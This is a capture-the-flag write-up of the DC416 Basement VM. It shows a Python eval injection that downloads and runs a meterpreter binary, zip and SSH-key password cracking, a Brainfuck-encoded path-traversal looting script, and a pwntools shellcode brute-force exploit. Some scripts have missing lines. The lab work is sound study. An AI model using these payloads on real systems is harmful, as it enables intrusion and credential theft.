18 Dec 2016, 01:00

Vulnhub - DC416: Basement Writeup

Basement is the first of 4 VMs from the DC416 CTF by @barrebas on Vulnhub. There are 5 flags on this machine but I was only able to get 4 of them.

Here are my other writeups for the DC416 challenges:

information gathering

Before you start with a portscan you need to wait a few minutes because there are several binaries executed by cronjobs. I noticed this during exploiting the machine so be sure to start nmapping after the machine runs a few minutes.

Nmap Scan:

Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-17 22:15 CET
Nmap scan report for
Host is up (0.00024s latency).
Not shown: 65529 closed ports
22/tcp    open  ssh               OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 f4:2a:b3:db:b8:54:78:c4:8e:0e:e0:f9:15:fd:9f:3b (DSA)
|   2048 34:b7:68:d7:0b:f8:e4:15:fe:fa:01:42:9e:ec:d1:ea (RSA)
|_  256 c0:36:b9:27:51:54:02:4b:1f:a5:77:58:a6:9d:d4:1e (ECDSA)
80/tcp    open  http              Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: baffle
8080/tcp  open  http-proxy        ------[-->+++<]>.[->+++<]>.---.++++.
|_http-server-header: ------[-->+++<]>.[->+++<]>.---.++++.
|_http-title: Site doesn't have a title (text/html).
8090/tcp  open  unknown
10000/tcp open  snet-sensor-mgmt?
10001/tcp open  tcpwrapped

MAC Address: 08:00:27:DF:F5:5E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.24 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.74 seconds


So let’s start with the service on port 10000. The script asks the user to enter a number of packets to send and executes a ping:

[email protected]:~/basement# nc 10000
 Please enther number of packets: 1

PING localhost ( 56(84) bytes of data
64 bytes from localhost ( icmp_seq=1 ttl=64 time=0.053 ms

When entering something different we can see there is a python script which takes user input through the input method.

[email protected]:~/basement# nc 10000
 Please enther number of packets: help
Traceback (most recent call last):
  File "./ping.py", line 3, in <module>
    num_packets = int(input(' Please enther number of packets: '))
TypeError: int() argument must be a string or a number, not '_Helper'

In python 2 the ├Čnput method is the same as eval(raw_input()) so it’s possible to evaluate python statements (In python 3 input behaves the same as raw_input).

So by trying the payload __import__('os').system('id') we can see the user running this script:

[email protected]:~/basement# nc 10000
 Please enther number of packets: __import__('os').system('id')
uid=1000(jack) gid=1000(jack) groups=1000(jack),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

PING localhost ( 56(84) bytes of data

So the next step is to download a meterpreter binary and execute it with the following set of commands:

echo "__import__('os').system('wget -O /tmp/meterpreter')" | nc 10000
echo "__import__('os').system('chmod +x /tmp/meterpreter')" | nc 10000
echo "__import__('os').system('/tmp/meterpreter &')" | nc 10000

Using the meterpreter session we are able to get the first flag:

meterpreter > cat flag.txt

marla #1

By looking at /etc/passwd we can see there are 4 seperate users on the system so probably each user holds one flag.


In the folder /home/jack/.secret/ there is a file called marla.xip. A file command on the file reveals only data so we have to dig deeper.

[email protected]:~# file marla.xip
marla.xip: data

barrebas got me the hint that this xip extension is a mix of two filetypes. So the file is probably a XOR encrypted ZIP archive. To quickly test XOR keys I used xortool.

[email protected]:~/xortool# xortool -b /root/marla.xip
The most probable key lengths:
   3:   14.6%
   6:   19.6%
   9:   11.0%
  12:   13.8%
  15:   7.4%
  18:   10.1%
  21:   5.6%
  24:   7.1%
  27:   5.1%
  30:   5.6%
Key-length can be 3*n
256 possible key(s) of length 6:
Found 0 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

Now let’s look at the directory with the decoded files and see if we can spot something of interest:

[email protected]:~/xortool/xortool_out# file * | grep -v "     data"
000.out:                               Zip archive data
197.out:                               PGP\011Secret Key -
199.out:                               PGP\011Secret Sub-key -
220.out:                               DOS executable (COM, 0x8C-variant)
232.out:                               COM executable for DOS
252.out:                               AIX core file fulldump
filename-char_used-perc_printable.csv: ASCII text
filename-key.csv:                      ASCII text

So we have found a ZIP archive. By looking at the generated csv we can see the XOR key beeing used was M4YH3M.

Next step is to examine the contents of the zip file.

[email protected]:~# mv 000.out /root/marla.zip
[email protected]:~# unzip -l marla.zip
Archive:  marla.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1766  2016-11-22 04:41   marla
      396  2016-11-22 04:49   marla.pub
---------                     -------
     2162                     2 files

Unfortunately the zip file is encrypted with a password so let’s try to crack it.

JohnTheRipper contains a handy little script called zip2john to extract the password hash for cracking. I then removed all except the hash from the file and ran hashcat against it.

[[email protected] hashcat]$ /home/firefart/hacking/JohnTheRipper/run/zip2john /home/firefart/marla.zip

[[email protected] hashcat]$ cat /home/firefart/marla.zip.hash

[[email protected] hashcat]$ ./hashcat -a 3 -m 13600 /home/firefart/marla.zip.hash


Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*1*0*05ed2b46cc5c8fdd*4dfb*14*3c099c875a5b4e660f310f657f34d7023b638556bc90a38168d5d752454a8954ebe2a08e064153f36afa0eb398f11139fae94e5cb7678dbda653de495847cd9e2c8c03573f6260f349a6e553b3a21647bcb351ae01ef15538cd613b97a144ad97d2f0db50bd29e093ea7772db8e465c5e6019f4427eab1f059241f86091148e8e292171a7cebb85fa07826f8b2061414931b217e63aa187ee508bad16cb1c57993bd703096b77e4e376edd9842e4363e58512b26422cbf1961a4ad741d4ab9d292a447cd6eaccd23e040702edb8be854798a35a63491b07b4c3b820e6c2a394e42a17180720cd9287f953f3482382068df0a98755ee27ba9ee0667b5b813cc3c9105a92d9f76566e9674d0c8ccc4050abeda5089d854546a5a39da8d93da503179dc6e0d847d29ede19654471d5a875e65a81e700810b4b7f1657bf8d78869e8078681dabfc35d0e0bc15fee*321fdfa476052bcf20c6*$/zip2$
Time.Started.....: Thu Jan 19 16:33:24 2017 (57 secs)
Time.Estimated...: Thu Jan 19 16:34:21 2017 (0 secs)
Input.Mask.......: ?1?2?2?2?2 [5]
Input.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*[email protected]_, -4 Undefined
Input.Queue......: 5/15 (33.33%)
Speed.Dev.#1.....:  1262.8 kH/s (11.10ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 71884800/104136192 (69.03%)
Rejected.........: 0/71884800 (0.00%)
Restore.Point....: 1152000/1679616 (68.59%)
Candidates.#1....: ma7f7 -> mq7g5
HWMon.Dev.#1.....: Temp: 73c Fan: 56% Util: 95% Core:1911Mhz Mem:3802Mhz Lanes:16

Started: Thu Jan 19 16:33:16 2017
Stopped: Thu Jan 19 16:34:21 2017

Awesome so the password is m4rl4.

We are now able to extract the zip file with p7zip.

[email protected]:~# p7zip -d marla.7z

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-3520M CPU @ 2.90GHz (306A9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1974 bytes (2 KiB)

Extracting archive: marla.7z
Can not open the file as [7z] archive
The file is open as [zip] archive

Path = marla.7z
Open WARNING: Can not open the file as [7z] archive
Type = zip
Physical Size = 1974

Enter password (will not be echoed):
Everything is Ok

Archives with Warnings: 1
Files: 2
Size:       2162
Compressed: 1974

So let’s have a look at the extracted files:

[email protected]:~# cat marla.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuh1NziT0vauHjqRvPIDQnFKYYtaYP1h56DXesZ6ZlSezFZVtJ1oQvLh3WJGgH7Bojzwxo4k5xwvw/0fyvCD68GGA99j8wfcYvFQ60BGMUYHfEduQPs0sAmL9tftIUY1vLf6htgCfz8oJ6Pi9YxLkgrS0+udGGxU0rXkU6hfaT710VH2DpvxymXbrKHHnd2wYmf/VVg54ugRyKWjKSBR+IkXTJr0FSMmsb7s1O84r1XTjJUJc6AZkiN1NLMxDQ1xnb/ToCnSpPIDm83fPDLDYhnlNZ2YoVqq9TTYVF9lxBaYLEjhVI+HKFF2geWjnMR5IHU/YwKWodcqh2GYY/LGNV [email protected]

[email protected]:~# cat marla
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,4A3641AA61921099DAB3E32222AE8221


Crap, another encrypted key. But we can see clearly this two files are SSH keys used for connecting as marla to the machine using SSH.

Again, JohnTheRipper has a script ready for us: sshng2john.py

[[email protected] run]$ /home/firefart/hacking/JohnTheRipper/run/sshng2john.py /home/firefart/marla.key > /home/firefart/marla
[[email protected] run]$ ./john /home/firefart/marla.key
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
[[email protected] run]$ ./john /home/firefart/marla
Using default input encoding: UTF-8
Loaded 1 password hash (SSH-ng [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
singer           (/home/firefart/marla.key)
singer           (/home/firefart/marla.key)

Jeah so the key password is singer.

We can now use this password to retreive the next flag:

[email protected]:~# ssh -i marla [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:CGwzPRVhg2hHuFrgbZjV6MHx+xXtDLYXCzQJO3PrH4U.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Enter passphrase for key 'marla':

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
well done! your flag is flag{l4y3rs_up0n_l4y3rs}
Connection to closed.

marla #2

By looking at the running processes there seems to be an audio stream of a flag streamed by marla and a binary only accepting connections from localhost run by robert.

marla     3785  4.5  6.2 464280 31612 ?        S    02:10   0:06 ffserver -f /home/marla/ffserver.conf
marla     3787 94.4  6.3 462656 32204 ?        R    02:10   2:10 ffmpeg -stream_loop -1 -f wav -i /home/marla/flag.wav
robert    3782  0.0  0.5  19644  2808 ?        S    02:10   0:00 socat TCP-LISTEN:10001,reuseaddr,fork,range= EXEC:./tenbytes,pty,stderr,echo=0

First we try the streaming webserver:

$ nc 8090
GET / HTTP/1.0

HTTP/1.0 301 Moved
Location: http://localhost/flag.mpg
Content-type: text/html

So we need to get a file called flag.mpg. As this file is streamed endlessly we need to kill the download after a while as it will never end.


By downloading the mpg and listening to it locally, we can hear a computer generated voice saying the following numbers:

102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125

By decoding the numbers as ascii, we get the second flag flag{bR4in_paRas1te$}

a = "102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125"
b = ""
for x in a.split(" "):
	b += chr(int(x))


When connecting to the webserver on port 8080 the following server header is returned


This string is definitely Brainfuck. Using an online decoder we can see the string translates back to webf.

When trying to access files in the webroot the webserver crashes and only comes up again after some time (probably by a cron job).

All error messages are also translated to Brainfuck:

[email protected]:~# nc 8080
HTTP/1.1 501 Not Implemented
Content-type: text/html

<html><title>Error</title><body bgcolor=ffffff>
501: Not Implemented
<p>+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: webf

By looking at the process list again the binary running seems to be tiny:

14709  1      run_tiny.sh              0        tyler     /bin/bash /home/tyler/run_tiny.sh
14711  14709  tiny                     0        tyler     /home/tyler/tiny 8080

By asking our friend google this seems to be the tiny-web-server. This webserver behaves as pythons SimpleHTTPServer and serves the whole directory from where it is run. By looking at the issues page there seems to be an unpatched arbitrary file read vulnerability https://github.com/shenfeng/tiny-web-server/issues/2.

Our webserver crashes when requesting files normally so let’s try to request ../../../../../../../etc/passwd encoded in Brainfuck

[email protected]:~# nc 8080
GET ++[------>+<]>+++..+.-..+.-..+.-..+.-..+.-..+.-..+.[--->+<]>.[--->+<]>---.++[->+++<]>+.-[-->+<]>--.+[----->+<]>.[----->++<]>+.--[--->+<]>--..++++.[->+++<]>-. HTTP/1.0

HTTP/1.1 200 OK
Server: ------[-->+++<]>.[->+++<]>.---.++++.
Content-length: 1445
Content-type: text/plain

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false


So we are able to read files as tyler but we already looked around on the server as jack so we are interested in the files in tyler’s home directory. We can not use tools like dirbuster because it crashes the server so my solution was to come up with a simple python script to encode all wordlist entries to Brainfuck, request the file and save it:

#!/usr/bin/env python3

import http.client
from time import sleep

def sf(filename, data):
    with open(filename, 'wb') as f:

def rf(filename):
    with open(filename, 'rt') as f:
        return f.readlines()

wordlist = "/usr/share/wordlists/dirb/common.txt"

def char2bf(char):
    result_code = ""
    ascii_value = ord(char)
    factor = ascii_value / 10
    remaining = ascii_value % 10
    result_code += "{}".format("+" * 10)
    result_code += "["
    result_code += ">"
    result_code += "{}".format("+" * int(factor))
    result_code += "<"
    result_code += "-"
    result_code += "]"
    result_code += ">"
    result_code += "{}".format("+" * remaining)
    result_code += "."
    result_code += "[-]"
    return result_code

def str2bf(string):
    result = ""
    for char in string:
        result += char2bf(char)
    return result

words = rf(wordlist)
counter = 1

#  words = ['.ssh/id_rsa']

for w in words:
    w = w.strip()
    filename = str2bf(w)
        conn = http.client.HTTPConnection("", 8080)
        conn.request("GET", filename)
        resp = conn.getresponse()
        data = resp.read().strip()
        if b"404: Not Found" in data:
            print("File {} not found".format(w))
            filename = "{}_{}.loot".format(counter, w.replace("/", "_"))
            sf(filename, data)
            print("File {} saved!!!!!!".format(w))
    except http.client.IncompleteRead:
        print("File {} returned an error (most likely it's a directory)".format(w))
        print("This request crashed the webserver so let's wait a little ....")
        if conn:
    counter += 1

By executing the script the server crashed at the .ssh entry so it must be an issue when requesting directories. But this also drove me in the right direction to try if there is an .ssh/id_rsa private key file present.

After modifying the script we are able to download the private key file, ssh to the server as tyler and get the next flag flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}:

[email protected]:~/basement# ssh -i basement_tyler.key [email protected]

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 17 10:25:57 2016 from
well done! your flag is flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}
Connection to closed.


Robert’s flag took me the most time. There is a binary running on Port 10001 requesting 10 bytes from the user and then executes them. To play with this locally I added a portfwd in meterpreter.

First I tried to get some custom shellcode into the 10 bytes but none of my attempts worked and this really frustrated me. So I tried to think about the program flow and how the program could be implemented and this ended up in some kind of blind shellcode crafting.

I thought there must be a call to read writing the 10 bytes to an executable area in memory and then a jmp or call instruction has to be executed to get to the custom shellcode. If we are able to execute the read call again using a bigger length we would be able to write shellcode to memory and execute it.

By looking at the sys_read syscall we can see the length to read needs to go in the EDX register.

So our assumption about the execution flow is the following

printf("Tee hee! Gimme ten bytes to run!")
read 10 bytes
jmp/call to read bytes

Hopefully the instruction executed is a CALL instruction because it pushes the current return address to the stack and executes a JMP. This way we could pop the adress from the stack and return to it a few instruction before and hope to hit the read syscall with our custom (bigger) EDX value.

My custom shellcode to pop the return address into a register, subtract a value from it and jump to it took too many bytes to also get a bigger value into EDX. So my approach was to execute the first read, add my custom pop, sub, jmp shellcode and also double the value in the EDX register which hopefully is still 10. When executing this code a few times we should be able to double EDX on each run, execute a read with a big value and finally execute our shellcode. So for this to work a CALL instruction needs to be executed and EDX must not be changed.

This approach was a lot try and error because there is absolutely no response but after doing hundreds of runs I finally was able to execute my own shellcode!

The script does the following

  • generate the maximum 10 byte payload: _ double the value in EDX (add edx, edx) _ pop the return value from the stack into a register _ subtract a value from it _ jump to the new value and hope we hit a location where the read call is executed
  • sends the payload the first time. If we hit the correct value to subtract a new read should be executed
  • sends the payload over and over again, every time doubling the value in EDX
  • once we reach the desired length in EDX the shellcode is sent and the CALL instruction calls it

To find the value to subtract from EDX we simply loop over 0 till 255 and try every value. This will jump in one byte steps relative to the CALL instruction till we hit the READ call again.

Once the correct offset is found, /bin/sh is executed and we have a shell as robert!

#!/usr/bin/env python2

from pwn import *

        # log_level='DEBUG',
        terminal=['tmux', 'splitw', '-l', '45'])

def encode_payload(p):
    return "".join("\\x{:02x}".format(ord(c)) for c in p)

def calculate_iterations(number):
    number = float(number)
    iterations = 0
    while number >= 10.0:
        iterations += 1
        number /= 2
    return iterations

local = False
#  local = True
debug = False

offset = 0

# the read call should be in the last 255 bytes
while offset <= 255:
        log.info("Trying offset {}".format(offset))
        if local:
            p = process("./tenbytes")
            if debug:
                gdb_cmd = []
                #  gdb_cmd.append("b *{:#08x}".format(0x00400697))
                gdb_cmd = "\n".join(gdb_cmd)
                gdb.attach(p, execute=gdb_cmd)
                raw_input("Press enter when GDB is running")
            p = remote("", 10001)

        # EDX: how many bytes to read
        # so do a loop, double the bytes in EDX
        # till we have our desired value,
        # pop the return adress into rdi
        # and bruteforce our way back the stack
        # till we reach a point where the read loop
        # is executed again
        # after our loop we should be able to read
        # a bigger value to the stack and execute it
        payload  = ""
        payload += "\x01\xd2"       # add edx, edx
        payload += "\x5f"           # pop rdi
        payload += "\x48\x83\xef"   # sub rdi, xxx
        payload += chr(offset)
        payload += "\xff\xe7"       # jmp rdi
        payload = payload.ljust(10, "\x90")

        if len(payload) > 10:
            log.error("Payload too long! ({} bytes). Offset {}".format(len(payload), offset))

        log.info("Payload: {}".format(encode_payload(payload)))

        p.recvline() # receive greeting

        #  1:   0x10     = 10
        #  2:   0x14     = 20
        #  3:   0x28     = 40
        #  4:   0x50     = 80
        #  5:   0xA0     = 160
        #  6:   0x140    = 320
        #  7:   0x280    = 640
        #  8:   0x500    = 1280
        edx_should_be = 0x500 # length of the next read
        iterations = calculate_iterations(edx_should_be)
        log.info("Iterations: {}".format(iterations))
        for i in range(1, iterations):
        log.info("EDX should now be {:#4x}".format(edx_should_be))

        # second stage
        #  ./msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell
        #  No platform was selected, choosing Msf::Module::Platform::Linux from the payload
        #  No Arch selected, selecting Arch: x64 from the payload
        #  No encoder or badchars specified, outputting raw payload
        #  Payload size: 47 bytes
        #  Final size of py file: 248 bytes
        shell = "\xcc" if local and debug else ""
        shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
        shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
        shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
        shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

        log.info("Sending shellcode")

        if local:
            # if we are local there is no tty error message
            output = p.recvline(timeout=0.1)
            if output and "uid=" in output:
                log.info("Found offset!!! {}".format(offset))
            # check for no tty message
            output = p.recvline(timeout=0.5)
            if output and "tty" in output:
                log.info("Found offset!!! {}".format(offset))

        if offset == 255:
            log.error("No valid offset found!")
    except EOFError:
        log.warning("Error on offset {}".format(offset))
        offset += 1


Last output from the run:

[+] Opening connection to on port 10001: Done
[*] Payload: \x01\xd2\x5f\x48\x83\xef\x25\xff\xe7\x90
[*] Iterations: 8
[*] EDX should now be 0x500
[*] Sending shellcode
[*] Found offset!!! 37
[*] Switching to interactive mode
$ $ id
uid=1003(robert) gid=1003(robert) groups=1003(robert)
$ $

Now we are able to add our private key file to /home/robert/.ssh/authorized_keys connect as robert via SSH and get the next flag flag{t3N_byt3$_0ugHt_t0_b3_eN0uGh_f0R_4nyb0dY}

Now we can also get the tenbytes binary and look at it to confirm our script


Thanks @barrebas for a lot hours trying to blindly bruteforce the binary :)

The flags: